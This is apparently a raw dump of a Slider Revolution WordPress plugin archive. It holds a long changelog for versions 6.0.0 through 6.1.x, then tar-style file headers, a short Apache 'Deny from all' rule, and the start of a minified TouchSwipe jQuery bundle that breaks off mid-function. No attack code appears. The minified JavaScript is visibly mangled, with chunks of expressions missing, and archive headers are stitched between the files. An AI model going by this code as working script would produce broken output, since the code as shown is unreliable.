            • Added auto width slides for the carousel mode (justified) Option.
            • Added sticky mode for the carousel layout
            • Added permanent visible individual layers, to extend the "visible all" layers feature in the carousel mode. This gives you more freedom as for which layers should always be visible and which should only be visible on slide focus
            • Added an force overflow hidden option for the carousel mode which can be very useful in the new justified carousel mode
            • Added new option to hide hover functionality on layers if the Slider is loaded on mobile.
            • Added Page Template "Slider Revolution Blank Page" for Posts too
            • Added Background Color Page option for Slider Revolution Blank Page Template
            • Added Block Settings (PopUp, Spacing, zIndex etc) for Gutenberg, WP Bakery Page Builder and Elementor
            Changes
            • Updated google fonts
            • Updated the preview function to show a more realistic preview in the backend using desktop mode
            • Updated the carousel engine for a better performance and smoother animations
            • Added throw phyiscs to the carousel engine
            • Changed the internal packaging process, to always pack WordPress plugins with file permssions 755 (for folders) and 644 (for files), to conform the WordPress standards
            • Added a workaround for a Safari bug where image layer animations shift when the opacity is below 1 at start
            • Essential Grid will now be parsed in layer. On start animation, Essential Grid will call the redraw option
            • Static layer editor will now honor the last edited slide and will resize and reposition none editable elements for better orientation in the static slide editing
            • Warning added on background filters to inform about incompatible filters on videos for the Edge and Internet Explorer Browsers
            • Videos in the editor can now have "auto" height and "%" width independent if they are positioned in columns, groups or on the stage directly
            Bugfixes
            • Fixed a bug where the usage of {{featured_image_url_*}} parameters for post based and Instagram sliders did not work properly
            • Fixed a bug where layers from the layer library could not be imported
            • Fixed a bug where the a slide would be visible on mobile even if the setting was set that it should not be visible
            • Fixed a bug where updating from an old version of Slider Revolution could change the animations in rare cases, so that the slider editor can not be loaded
            • Fixed tons of small glitches in the carousel rendering. Fixed swipe failures and missing elements on the left/right side. Fixed rotation and scale issues if the varying option was set to true
            • The slider editor will now also save published/unpublished slides even if no other setting was changed on those slides
            • Fixed scroll effects on mobile devices
            • The dropzone will now only be shown to real dragged files in the editor
            • Fixed minHeight issue on fullwidth sliders. From now on it will ignore unused values set by auto layout
            • The Toggle state of playing/pausing a slider will not jump anymore between forward and backward when the slide is changing.
            • Fixed box-shadow issue in FireFox by removing the filter rest blur(0px) on some elements
            • Fixed a bug where Vimeo Autoplay on iOS was not working well on the 2nd and further Loops
            • Bubble Morph bug fixed where linear resized small containers used to shake on mobile devices. Bubble Morph 2.0.3 is required
            • Fixed a bug where an empty Slider Revolution block opens the template library on page/post editor loading
            • Fixed the smart loading feature, which will now load the previous/next slide content when the slide is focused
            • Fixed a bug where the optimizer stopped working in the page editor in case the module included any AddOns
            • Fixed inline style issues on layers when the slide link was added at the end of the slide container
            • Fixed a bug where looped media could not be saved. After 1 reload and resave the video lost its looped state
            • Fixed a bug where inline styled colors in splitted text (chars, lines, words) were not respected
            • TypWriter multiple line editing bug fixed. TypeWriter version 2.0.2 required
            • Fixed device pixel ratio issue on retina displays. The Paintbrush AddOn version 2.1.3 is required
            • Fixed an issue where none of the YouTube playlist listitems was selected after the playlist updates
            • Fixed click mouseenter and mouseleave actions on layers in combination with navigation show/hide, slider focus/blur events
            • Before After AddOn split initialisation will respect all screensizes now, instead of jumping 50% on smaller screens. The Before After AddOn 2.0.3 is required
            • Fixed Slicey AddOn compatibility with the Type Writer AddOn. Slicey 2.0.1 AddOn required
            • Fixed Google Font loading issue if the global option for preload was selected

            Version 6.1.5 (14th November 2019)

            New Features
            • The import process now checks for image duplication not only in the same folder but in the whole WordPress installation
            Changes
            • The gutenberg block opens the module library now directly when added
            Bugfixes
            • Removed unwanted "rated" text from WooCommerce product star rating
            • Fixed scrollbar issues in the editor and overview pages
            • Fixed an issue with line heights in some rare cases where i.e. Safari was ignoring the responsive children sizes
            • Fixed drop zone issues in the overview and editor mode where dragging files from desktop over the browser was not always working well

            Version 6.1.4 (9th November 2019)

            New Features
            • Moving layers in animation mode will move the layers x/y transform value in the selected frame. This will allow to fine tune the animation positions of layers
            • Drag and drop images and or videos to the editor to create layers on demand to shorten the required steps to create image/video layers
            • German and French translation added
            • Added a link help option to slide and action links, to help auto selection of http and https protocols for links
            • Added a file and media optimizer feature, available on pages/posts, overview and Slider Editor mode to optimize embeded media files and to get a general overview about loaded filesizes
            Changes
            • Updated google font list
            • Removed unneeded font stylings from img layers
            • The slide links and layer action links http/https auto adjustment behavior can now be changed as an own option
            • Optimized the output to ignore the font style based settings on unrelated layers
            • Updated some output details if something goes wrong for better understanding
            • Optimized the snap and guideline settings to simplify the usage. If it is enabled, it will always show guidelines and will always snap to them.
            • Changed the values for carousel opacity, rotation and scale. some of the values were not working properly, some of the values were the other way around.
            Bugfixes
            • Fixed a bug where the slider timer was still processing after a slide change. Even pause on hover was activated
            • Adding folders into other folders were not respecting the parent folder strucutre in the editor overview
            • Fixed svg's at the layer import process to point to the correct path
            • Fixed a preview slider bug where the order was not shown correctly
            • Fixed a preview slider bug where unpublished slides would be shown
            • Fixed a bug where custom animations where not transfered from v5 to v6. With this fix, missing v5 animations should now show up
            • Fixed timeline option not working for some Facebook pages
            • Fixed an issue where modal sliders did not show up when JavaScript was loading in footer
            • Fixed iOS9 bugs
            • Fixed double shown posters on YouTube background videos in Safari
            • Fixed WhiteBoard ghost pixels in Firefox by removing the rotation effect of the "Hand" for Firefox. WhiteBoard 2.1 required
            • Fixed an issue where 43+ layers exsits and the order of layers are equal to 6 + layer order. In this case it would fall back to the last order
            • Typo issue fixed in file wp-content\plugins\revslider\admin\revslider-admin.class.php
            • Fixed a bug where video or mp3 layers in the gobal layers would create an extra slide in the export file
            • Fixed an issue where entering the viewport would restart layer videos even if this already paused/stopped due to another process
            • Fixed looping issues in case the slider became hidden by exteral CSS/JavaScript code independet of the internal option hideSlideUnder
            • Fixed an issue where invisible layers should be visible when hovering list elements in the editor
            • Fixed a problem where auto played videos were not playing in carousel slider when all layers where shown at, once the option was selected and the slide change was processed
            • Fixed audio layer issues in the global layers (visible control buttons, muted audio, etc.)
            • Fixed videos that might be muted after import even if they should have sound on start
            • Fixed the export/import of svg files not working properly
            • Fixed exported zip files where they could not be imported again in certain circumstances
            • Changes on the new custom navigation could not be saved before reloading the page. This issue has been fixed now
            • Fixed placeholder feature for text and button layers to simplify the visible content on layers if needed
            • Solved navigation styling issues in the editor
            • Fixed loop effect animation issues with 0px dimensions
            • Fixed issue where slides of other WPML languages where not properly imported
            • Fixed issue where with WPML, language slides where not properly taken
            • Fixed carousel opacity, rotation, scale and vary opacity, vary rotation and vary scale options. You need to adjust the settings in some cases after this update!
            • Fixed overview problems where modules were not showing up under folders in some very rare cases.
            • Fixed an issue where adding bulk slides, importing slide(s) from templates or other modules did not save the slide content properly
            • Importing layers modals will not open anymore if the import slide process started and the module has only one slide

            Version 6.1.3 (3rd October 2019)

            New Features
            • Added guide lines based on grid and on similar aligned layers where layers can snap to these guidlines also. Even gaps can be set to snap by predefined spaces
            Changes
            • Folders in overview will show now the first found elements admin thumb even in multiple depths
            • GreenSock TweenMax library updated to version 2.1.3.
            • Changed the Event Manager meta for layers from {{event_event_id}} to {{event_id}}
            • Added an option in the Panorama AddOn to lock vertical draggings. Panorama AddOn 2.1.0 is required
            • Change Facebook API connection to access tokens (because of the new API security guidelines)
            • Changed the usage of wp_upload_dir() in the object library, so that the calls of it are minimized, as it caused issues on Pantheon Servers
            • Changed behavior of certain functions to better support Pantheon servers
            • Modal loading will now use the cover background already before the modal window is loaded. This happens only if the cover background is enabled and a color is selected
            Bugfixes
            • Fixed IE11 HTML5 bug
            • Fixed IE11 navigation bugs
            • Fixed migration issues where in the slide transition the first element was existing but was an empty string
            • Fixed Instagram issue function 'instagram_autoloader' not found
            • Fixed predefined height calculation of Sliders where preloaders on mobile devices were offset positioned
            • Fixed import bug of static slides not deleting the old image id of a layer
            • Fixed a scroll animation issue where a fullwidth slider position offsetted if the element was not embeded on a blank page template. Thanks to Kashif for the great suggestion!
            • Updated missing media filters for the Pan Zoom effects
            • Fixed "start with slide" in carousel mode which was somehow not fixed in version 6.1.2 due to a glitch
            • Fixed issues in the overview/dashboard where some of the control buttons were not clickable in Safari Browser
            • Fixed custom preset loading issues with the Particle Effects AddOn. Required version 2.1.0
            • Fixed a notice that occured in a carousel if scale is set to off and fadeout is set to on
            • Fixed issue where carousel elements scale over an acceptable limit. This value has been limited now
            • Fixed line height issues on colums. Now you can also set line height defaults for columns to avoid spacing issues where layers within columns are lower than 25px
            • Fixed a Paintbrush AddOn issue where the paintbrush option were not added to streams and post based sliders
            • Fixed an issue with the carousel navigation due to bullets and arrows in some cases where the slide size was equal or bigger than screensize
            • Fixed a markup issue in the overview where folder drop zones were not available anymore after last browser updates
            • Fixed YouTube slide background images to show as default the high resolution image if available

            Version 6.1.2 (18th September 2019)

            New Features
            • Added new depth on the overview page for slides in sliders
              • Rename, delete, publish and unpublish slides straight in the overview without opening the editor itself
              • Change sorting, set admin thumbnail and open the editor with selected slide straight from the overview
            • Added custom font-family definition in global settings to extend the text layer font-family selectors
            • Added high contrast mode for better readability. Turn this option on/off in the global settings
            • Added admin thumb image to the Slider Revolution Gutenberg Block
            • Added a new text stroke option in the advanced styles
            Changes
            • Importing template packages that has a modal slider, will now set all the needed actions in the layers so that the modal works directly. Please note that for already downloaded sliders, a new installation is needed with the "Re-Download Online" option set to "on"
            • Changes due to Instagram API retiring public information for security reasons:
              • Removed "likes" meta. The output of former used "likes" meta will be blank
              • "author name" meta will now display the searched user name
            • Default cycles for scale animation updated to (0.5 to 1) from (-50 to 50)
            Bugfixes
            • Fixed the tabs/thumbs navigation alignment navigation element styles with gaps issues.
            • Fixed overall navigation align issues where rows and columns with media content added to stage
            • Fixed covered background videos and covered layer videos in the Edge Browser
            • Fixed styling issues of the pagination and sorting in the backend overview page
            • Fullscreen video background sizes will calculate now already on the first load when the grid size is overdimensioned
            • Fixed an issue where images with no dimension would break the editor at initialisation in Firefox
            • Fixed Instagram fatal error in combination with older Essential Grid versions
            • Fixed Instagram slide link {{link}} not working due to changed API structure
            • Fixed Instagram connection issue for servers with 'allow_url_fopen' restriction
            • Fixed Instagram stream {{link}} in slide link option not working
            • Fixed many minor RTL styling issues in the editor
            • Fixed IE11 issues. Now the slider works also with older Internet Explorer versions
            • Fixed bad aligned layers when elements are center aligned with offsets. Requires the TypeWriter AddOn 2.0.1
            • Installing template packages into folders will now respect the installation target folder also after reloading the page
            • Fixed MS Edge masking issues, where layers were not correct rendering under mask animations
            • Fixed blurry layers in Firefox that happened in some special cases
            • Only real changes will be saved, independent what element has been touched during the session
            • Fixed double starting of layers in carousel mode during auto processing of slides
            • Fixed BubbleMorph on static layers. BubbleMorph version 2.0.2 is required
            • Fixed the Nashville image filter with Ken Burns effect
            • Fixed compatibility issues on older versions of iOS 9.x or newer
            • Fixed "start with slide" value in carousel mode
            • Fixed content jumping when a fullscreen slider is set up with min height values
            • Fixed toggle mute/unmute of Vimeo videos on mobile issues
            • Fixed layer video issue where "no loop" was not selectable together with the "auto progress of slide" option
            • Removed folders will not break any more the last visited folder in the page editor

            Version 6.1.1 (4th September 2019)

            New Features
            • Added slider images to the Yoast SEO sitemap
            • Added convert layer function to change the layertype from image to video or from text to button and vice versa
            Changes
            • Post based sliders must now have the slide option "Image from Stream if exists" set to on, to use the featured image
            • The dotted overlays will show now also on video covers
            • The dotted overlays are now set to pointer-events:none; to make any video controls available behind the overlay
            • Enabling the on scroll timeline based function at Layers will automatically disable the loop effects now. No undo avaiable
            • Added frame "start" input field for easier and better editing of animation frames
            • Added a feature to reset the hover to idle style on multiple selected layers
            • Added custom image sizes to the slide background images
            • Background videos will not auto stop layer videos at start just like in older versions
            Bugfixes
            • Fixed specific post slider not selecting the correct posts
            • Fixed post based slider not working when categories and tags were selected in combination
            • Fixed Gallery AddOn not working together with the "Slider Revolution Blank Template"
            • Fixed caoursel speed issues where other than the default value would not animate the carousel anymore
            • Fixed dotted overlay where the overlay was written on bg videos even if the force cover option was disabled
            • Fixed on scroll based layers where the disable scroo based option on child elements were ignored
            • Fixed an issue in the colorpicker where the custom preset colors were not saving
            • Fixed an issue in the import process where YouTube images could create a notice
            • Fixed the gradient background colors for columns in Firefox
            • Fixed offset cursors at first click in the custom CSS and JavaScript editor in the slider settings
            • Alignment of content based navigation on carousel has been fixed
            • Fixed the Font Awesome iconset in the object library
            • Content with loop effects in columns and groups were not resizing well
            • Selecting navigation elements in the editor was not selecting settings of that element automatically
            • Progress Bar on top position was rendered incorrectly in editor
            • Fixed custom navigation per slide settings (override style on slide) which was not rendered on the frontend before
            • Fixed an issues where the start/end time of frames could not be reset to realisitc values. Added duration and start fields
            • Added missing Essential Grid functions when Slider used as Content in ESG Lightbox
            • Fixed a bug where the pause slider timer on the slide bg videos could not be enabled
            • Fixed Bubble Morph border settings where the border was not rendered on frontend. The BubbleMorph AddOn version 2.0.1 is required
            • Fixed the Crypto Slider template which was conflicting with some other 3rd party plugins i.e. Learnpress
            • Fixed a ruler bug in the editor
            • Fixed custom navigations not beeing converted from v5 to v6
            • Fixed backend preview for streams and post sliders
            • Fixed Instagram issue for certain server environments
            • Fixed an issue with multiple slide animations after update from V5x to V6x
            • Fixed output issues when Essential Grid is inside slide layer
            • Fixed burger menu button animation issue. To solve the existing issues do one of the following:
              • a) remove the layer button and add it again in version 6.1.1+
              • b) add manually the action "toggle class" "open" to the layer

            Version 6.1.0 (21th August 2019)

            Changes
            • Changed the alias check to also work with a slider alias that has spaces
            • Changed the "Media Loop" dropdown option to on/off. Default value in background videos is set to "ON" and on layer videos to "OFF"
            • Introducing the "Pause Module Timer" during media playback On/Off option. Default value is "ON"
            • Media Loop option will change loop to "ON" if it was set to "Loop and Stop Slider Progress" timer or if it was set to "Loop but do not stop Slider Progress". At any other way, loop will be set to "OFF"
            • Pause module timer during playback will be set to "ON" if media loop was set earlier to "No Loop" or to "Loop and Stop Slider Progress". At any other way, it will be set to "OFF".
            • Changed JavaScript version compare functionality
            • Removed debugmode option for frontend debugging
            • Enabling "Loop Media" will disable "Next Slide at End" and enabling "Next Slide at End" will disable "Loop Media" for logical reasons
            • Autoplay of audio has been removed. Audio can only now played on manual starts (via actions and/or controls) due browser limitations
            • Changed calculation of last/first slide position in Carousel Module if Infinity is set to true
            • Improved user experiment by swiping the Carousel
            • Default Tablet width breakpoint changed to 778px again as it was in the Previous Versions
            Bugfixes
            • Fixed background slide image having no alt tag
            • Border Radius bug on image layers has been fixed
            • Fixed an issue where layers in groups gets removed when the Before/After option is enabled. Version 2.0.1 of the Before/After AddOn is required
            • Fixed "Do not play Auto 1st time" where Media was not playing in following loops
            • Fixed an issue where layers not animating out when "end time" is shorter then Slide time and and previous slide has a shorter duration than the current slide
            • Fixed Vimeo and YouTube loop issues on background and layer videos
            • Fixed Safari input issues, where only 1 character could be entered
            • Changing "Set as Editor View" will now overtake the changes directly
            • Fixed On scroll based timeline which not working in some special cases
            • 3D rotated frames were clipping in the editor. Issue fixed. Still CSS filtered layers will keep clipping if 3D rotation is existing.
            • Fixed color filters for background Medias.
            • Fixed background filters with the Pan Zoom effects.
            • Fixed Vimeo start at/end at, loop and rewind at slide start functions
            • Fixed HTML5 start at/end at and loop issues
            • Fixed Mute/Unmute video issues
            • Fixed HTML5 background videos in Carousel Slider with "Show all Layer" once enabled
            • Fixed YouTube videos on Mobile where Video was always autoplaying
            • Fixed an issue with "active-revslide" class. Name changed to active-rs-slide and it will only exist on active Slide.
            • Fixed Filmstrip AddOn Issues with Multiple Filmstrip Modules on one Page. Version 2.0.2 of Filmstrip AddOn is required
            • Fixed Multiple Frame animation on Demand issues, where 2nd and further loops were not animated well
            • Layers which should be first on Action and have Dynamic caluclated positions will get force hidden class to ignore calculation and rendering before they required
            • Fixed Show Layer on Mouse over Module which was not working if no layer action was defined in the Module.
            • Fixed navigation glitches within Carousel due Navigation arrows.
            • Dedicated an issue with SiteGround Server. This can be solved due the SiteGround Server Settings "enforce rewrite of external urls"

            Version 6.0.9 (3rd August 2019)

            Changes
            • Removed duplicated message that an update is available in the plugin overview page
            • Switched the hover border radius bottom left and bottom right input fields in the slide editor
            Bugfixes
            • Fixed a static function using $this in the Events Manager integration
            • Fixed a bug where YouTube/Vimeo stream layers were not working properly
            • Fixed a bug where the Vimeo stream slide background was not working properly
            • Fixed a bug where the row background image was not shown
            • Fixed a bug where "Disable RS Font Awesome Library" did show off even if it is set to on

            Version 6.0.8 (30th July 2019)

            Changes
            • Updated the google fonts library, new google fonts are now available
            Bugfixes
            • Fixed a bug where Slide Options -> Tags & Links -> Link & Seo -> Link to Slide was not set after import
            • Fixed a bug where the excerpt of a post/page was only showing ...
            • Fixed a rare bug where the editor broke while dragging an image
            • Fixed an import bug where the video url could be wrong if importing a Slider in version 6
            • Fixed a JavaScript bug in slide editor were the editor would not load
            • Fixed Elementor widgets of Slider Revolution not working if logged out

            Version 6.0.7 (23th July 2019)

            Changes
            • Changed global option "Include libraries globally" default value to on, please set it to off manually again if wanted
            • Changed the second parameter of the function temporary_remove_sizes() to be optional
            • Added filter revslider_include_libraries again
            Bugfixes
            • Fixed a bug where a custom navigation could lead to the slide editor not beeing able to be loaded for that slider

            Version 6.0.6 (20th July 2019)

            Changes
            • Changed obsolete function getArrSliders() default value to false, so that template slider are not shown in lists of page builders that still use this obsolete function
            • Added 2nd Instagram crawler method for compatibility with certain servers
            • Added the automatic replacement of spaces to dashes in the Slider Revolution shortcode
            • In the WooCommerce category selection, only tags and cagetories will now be listed
            • Added RevSliderSlide->getParam() for compatibility with certain plugins. Please use RevSliderSlide->get_val() instead
            Bugfixes
            • Fixed static slide "global layers" settings not showing the selected value in the slide editor after reloading the settings
            • Fixed issue where in old PHP versions an PHP error occured in the update routine
            • Fixed issue where in post/pages, the "Choose Slide Template" option was not saved
            • Fixed alt. image on mobile option not working properly
            • Fixed spike masks on layers not working properly
            • Fixed issue with add_revslider() in combination with library global inclusion not set
            • Fixed issue with WooCommerce slider, where in combination of "In Stock Only" and selecting more than one category created unwanted results
            • Fixed issue with Elementor, where the Slider Revolution Widget was not rendered in frontend
            • Fixed issue in editor, where the preload option for html5 videos was not visible
            • Fixed issue in post/page editor, where saving returned an error when in the slider settings for the added slider, output filter was set to "By Echo Output"
            • Fixed installation/backup complications with the TGM Plugin Activation library

            Version 6.0.5 (16th July 2019)

            Changes
            • Scaling layers will auto change linebreak and layer width from "auto" to a static width, in case the layer is scaled to a higher size than the layer grid itself
            • FontAwesome icon styling from Slider Revolution will now only influence Slider Revolution structures
            • Added disable FontAwesome option which will not load the FontAwesome library from Slider Revolution if needed
            • Added new button collection to the quickstyle library
            • Layer scaling will not effect the border radius any more to avoid strange changes on different screensizes
            • Image, Shape and Text Layers will get layer align "Scene" if they are imported from older sliders (v5.x or earlier) and they used to have 100% width to handle a Bug was existing in older Revsldier.
            Bugfixes
            • Fixed import issues where padding values have been lost during the process
            • Fixed lazy load processes in comination with slide animations where images were poppin up delayed in the slider
            • Changed the slide animation precalculation to give some delay before processing to avoid frame drops
            • Various style fixes in editor
            • Default opacity values on text shadows changed from 2500 to 0.25
            • Fixed scroll bugs in editor when slide background changed from image to color based
            • Fixed global layers "overflow" option which was missing since version 6.0.1
            • Fixed video overlay issues, where dotted overlays were not drawn on the video even it was selected
            • Fixed issues where Slider Revolution widgets did not work properly in some setting constellations
            • Fixed file permissions in zip files for some very rare cases where current packaging was not consistent
            • Fixed a bug where custom css set in Sliders was stripped of slashes
            • Fixed a bug where sometimes layer image sources were not shown in the small preview thumbnail box
            • Fixed a bug with loop effects - wave animation, where start loops jumps during the animation
            • Fixed the quick style auto selection when new buttons, content or headlines had been selected

            Version 6.0.4 (13th July 2019)

            Changes
            • Added an "Edit" button to the Gutenberg editor Slider Revolution block
            Bugfixes
            • Fixed "Includes Libraries Globally" in combination with "List of pages to include RevSlider Libraries" not working properly
            • Fixed a bug where the preview in the slide editor did not work in certain constellations
            • Added missing hover cursor selectbox which was in some cases not available
            • Fixed permanent opening of the template library with 1st Gen. RevSlider Gutenberg Blocks
            • Fixed an issue where Carousels do fade very slow in if Transition time set to a high number
            • Fixed Static Layer Range Problems where Static Layers were showing up on each slide
            • Added protection for an update issue in case the transition list was not in the right form. (pre 5.0.0 version sources)
            • WPML icon will now not show in slide editor if WPML is not activated
            • Global enabled addons will show their state now inside of the Slider Revolution AddOn manager
            • Image lazy loading fixed
            • Fixed a bug where special characters in file names could not be preloaded well
            • Fixed different import issues where exported sliders from older versions could not be imported, or broke after import

            Version 6.0.3 (12th July 2019)

            Changes
            • Updated carousel behavior for a better customer experience and a more precise calculation of various positions
            • Updated the update routine to have faster access to new updates
            Bugfixes
            • Fixed color presets not being able to be saved
            • Fixed hide after loop option not working properly
            • Fixed fullwidth and fullscreen slider position calculation
            • Fixed "Hide Over" navigation elements
            • Fixed issue where the selected HTML tags for layers were not showing well after reload
            • Fixed issue where the selected font loading in global settings was not showing well after reload
            • Fixed hide slide and navigation after focus "n"
            • Fixed issues where the full slide link with scroll under broke the slider functions

            Version 6.0.2 (11th July 2019)

            Changes
            • Changed settings.css name to rs6.css
            • Added more old function names for further compatibility with themes
            Bugfixes
            • Fixed a bug where youtube thumbnail images were not fetched into the navigation
            • Fixed a bug where {{link}} and %link% didn't get replaced in slides
            • Fixed the global option "List of Pages to include RevSlider Libraries" to work again
            • Fixed a bug in the update routine that may take an old image path instead of the new one
            • Fixed a bug where the slider stopped to rotate after the first loop
            • Fixed background video loop issues
            • Fixed navigation under hide problems
            • Fixed RTL position issues for images and videos

            Version 6.0.1 (10th July 2019)

            New Features
            • Reintroduced global option "Enable Google Font Download"
            Bugfixes
            • Added old function names for compatibility with themes, please do not use these functions in future releases
              • RevSliderOutput->isPutIn()
              • RevSliderSlider->initByMixed()
              • RevSliderSlider->isAliasExistsInDB()
              • RevSliderSlider->initByAlias()
              • RevSliderSlider->initByDBData()
              • RevSliderSlider->getArrSlidersShort()
              • RevSliderSlider->getArrSlideNames()
              • RevSliderSlider->isAliasExists()
            • Removed the inclusion of the WordPress pluggable.php file to prevent wp_mail() issues with mailing plugins
            • Removed the inclusion of the WordPress pluggable.php file to prevent SECURE_AUTH_COOKIE and LOGGED_IN_COOKIE warnings
            • Fixed Greensock Sandboxing
            • Sandboxed select2.js to avoid conflicts with Fusion Builder
            • Fixed compatibility issues with ThemeFusion's Avada
            • Fixed compatibility issues with Goodlayers
            • Fixed one prototype issues in for cycles
            • Fixed opacity issues in some cases of navigation elements
            • Fixed menu imports from older templates where relative links broke the slider initialisation
            • Fixed fullscreen slider sizing and positioning issues

            Version 6.0.0 (8th July 2019)

            A New Content Building Standard.
            • The world's most powerful WordPress builder with advanced animations
            • Create outstanding, professional content modules with no coding experience required
            • 50+ new features
            • Sliders & Carousels, Hero Headers, Content Blocks and Modules, Full Websites, Dynamic Solutions, Special FX
            • Run any Slider Revolution module as a modal popup
            The Visual Editor you want to work with.
            • Better usability
            • Work faster & more efficiently
            • Eye friendly dark user interface
            • Improved loading times
            The animators dream. Now with keyframes.
            • Easy to understand structure
            • In-depth animation settings
            • New easing types
            • Animation presets
            • Loop the whole timeline or between individual keyframes
            • Scroll-based timeline animations
            Mighty new content. Pure inspiration.
            • Many new templates
            • New images, videos, icons, etc.
            • Animated layer groups
            • Quickstyle layer presets
            Live help within the editor
            • Explanation for any option
            • Search & highlight options
            • Documentation & FAQ links
            200+ ready to go templates
            • 19 new templates added in 6.0
            • The right template for every occasion
            • From simple headers to full websites
            • Special FX templates with add-ons
            index.php000060400000000033151724235750006367 0ustar00 class="no-js"> >
            public/views/index.php000060400000000033151724235750011002 0ustar00 Order allow,deny Deny from all public/assets/js/rbtools.min.js000060400000502733151724235750012565 0ustar00!function(t){var e={};function n(r){if(e[r])return e[r].exports;var i=e[r]={i:r,l:!1,exports:{}};return t[r].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)n.d(r,i,function(e){return t[e]}.bind(null,i));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=1)}([function(t,e){t.exports=jQuery},function(t,e,n){n(2),n(6),t.exports=n(4)},function(t,e,n){var r,i,o,s; /*! * @fileOverview TouchSwipe - jQuery Plugin @version 1.6.18 / SANDBOXED VERSION FOR TP * @author Matt Bryson http://www.github.com/mattbryson * @see https://github.com/mattbryson/TouchSwipe-Jquery-Plugin * @see http://labs.rampinteractive.co.uk/touchSwipe/ * @see http://plugins.jquery.com/project/touchSwipe * @license * Copyright (c) 2010-2015 Matt Bryson * Dual licensed under the MIT or GPL Version 2 licenses. * */s=function(t){"use strict";var e="left",n="right",r="up",i="down",o="none",s="doubletap",a="longtap",u="horizontal",l="vertical",h="all",c="move",f="end",p="cancel",d="ontouchstart"in window,g=window.navigator.msPointerEnabled&&!window.PointerEvent&&!d,D=(window.PointerEvent||window.navigator.msPointerEnabled)&&!d,m="TouchSwipe";function v(v,_){_=t.extend({},_);var y=d||D||!_.fallbackToMouseEvents,x=y?D?g?"MSPointerDown":"pointerdown":"touchstart":"mousedown",w=y?D?g?"MSPointerMove":"pointermove":"touchmove":"mousemove",C=y?D?g?"MSPointerUp":"pointerup":"touchend":"mouseup",F=y?D?"mouseleave":null:"mouseleave",E=D?g?"MSPointerCancel":"pointercancel":"touchcancel",b=0,T=null,M=null,A=0,P=0,S=0,O=1,k=0,B=0,L=null,N=t(v),R="start",X=0,Y={},I=0,z=0,H=0,W=0,V=0,j=null,U=null;try{N.on(x,q),N.on(E,Q)}catch(v){t.error("events not supported "+x+","+E+" on jQuery.swipe")}function q(o){if(!0!==N.data(m+"_intouch")&&!(0D.left&&g.xD.top&&g.y_.longTapThreshold&&b<10&&_.longTap&&!1!==n?n=et(t,e,a):1!==X&&d||!(isNaN(b)||b<_.threshold)||!ct()||!1===n||(n=et(t,e,"tap")),e===p&&Q(),e===f&&(r&&r.length||Q()),n}function et(o,u,l){var h;if("swipe"==l){if(N.trigger("swipeStatus",[u,T||null,b||0,A||0,X,Y,M]),_.swipeStatus&&!1===(h=_.swipeStatus.call(N,o,u,T||null,b||0,A||0,X,Y,M)))return!1;if(u==f&&at()){if(clearTimeout(j),clearTimeout(U),N.trigger("swipe",[T,b,A,X,Y,M]),_.swipe&&!1===(h=_.swipe.call(N,o,T,b,A,X,Y,M)))return!1;switch(T){case e:N.trigger("swipeLeft",[T,b,A,X,Y,M]),_.swipeLeft&&(h=_.swipeLeft.call(N,o,T,b,A,X,Y,M));break;case n:N.trigger("swipeRight",[T,b,A,X,Y,M]),_.swipeRight&&(h=_.swipeRight.call(N,o,T,b,A,X,Y,M));break;case r:N.trigger("swipeUp",[T,b,A,X,Y,M]),_.swipeUp&&(h=_.swipeUp.call(N,o,T,b,A,X,Y,M));break;case i:N.trigger("swipeDown",[T,b,A,X,Y,M]),_.swipeDown&&(h=_.swipeDown.call(N,o,T,b,A,X,Y,M))}}}if("pinch"==l){if(N.trigger("pinchStatus",[u,B||null,k||0,A||0,X,O,Y]),_.pinchStatus&&!1===(h=_.pinchStatus.call(N,o,u,B||null,k||0,A||0,X,O,Y)))return!1;if(u==f&&ot())switch(B){case"in":N.trigger("pinchIn",[B||null,k||0,A||0,X,O,Y]),_.pinchIn&&(h=_.pinchIn.call(N,o,B||null,k||0,A||0,X,O,Y));break;case"out":N.trigger("pinchOut",[B||null,k||0,A||0,X,O,Y]),_.pinchOut&&(h=_.pinchOut.call(N,o,B||null,k||0,A||0,X,O,Y))}}return"tap"==l?u!==p&&u!==f||(clearTimeout(j),clearTimeout(U),ft()&&!pt()?(V=Ft(),j=setTimeout(t.proxy((function(){V=null,N.trigger("tap",[o.target]),_.tap&&(h=_.tap.call(N,o,o.target))}),this),_.doubleTapThreshold)):(V=null,N.trigger("tap",[o.target]),_.tap&&(h=_.tap.call(N,o,o.target)))):l==s?u!==p&&u!==f||(clearTimeout(j),clearTimeout(U),V=null,N.trigger("doubletap",[o.target]),_.doubleTap&&(h=_.doubleTap.call(N,o,o.target))):l==a&&(u!==p&&u!==f||(clearTimeout(j),V=null,N.trigger("longtap",[o.target]),_.longTap&&(h=_.longTap.call(N,o,o.target)))),h}function nt(){var t=!0;return null!==_.threshold&&(t=b>=_.threshold),t}function rt(){var t=!1;return null!==_.cancelThreshold&&null!==T&&(t=_t(T)-b>=_.cancelThreshold),t}function it(){return!(_.maxTimeThreshold&&A>=_.maxTimeThreshold)}function ot(){var t=lt(),e=ht(),n=null===_.pinchThreshold||k>=_.pinchThreshold;return t&&e&&n}function st(){return _.pinchStatus||_.pinchIn||_.pinchOut}function at(){var t=it(),e=nt(),n=lt(),r=ht();return!rt()&&r&&n&&e&&t}function ut(){return _.swipe||_.swipeStatus||_.swipeLeft||_.swipeRight||_.swipeUp||_.swipeDown}function lt(){return X===_.fingers||_.fingers===h||!d}function ht(){return 0!==Y[0].end.x}function ct(){return _.tap}function ft(){return!!_.doubleTap}function pt(){if(null==V)return!1;var t=Ft();return ft()&&t-V<=_.doubleTapThreshold}function dt(){W=H=0}function gt(){var t=!1;return H&&Ft()-H<=_.fingerReleaseThreshold&&(t=!0),t}function 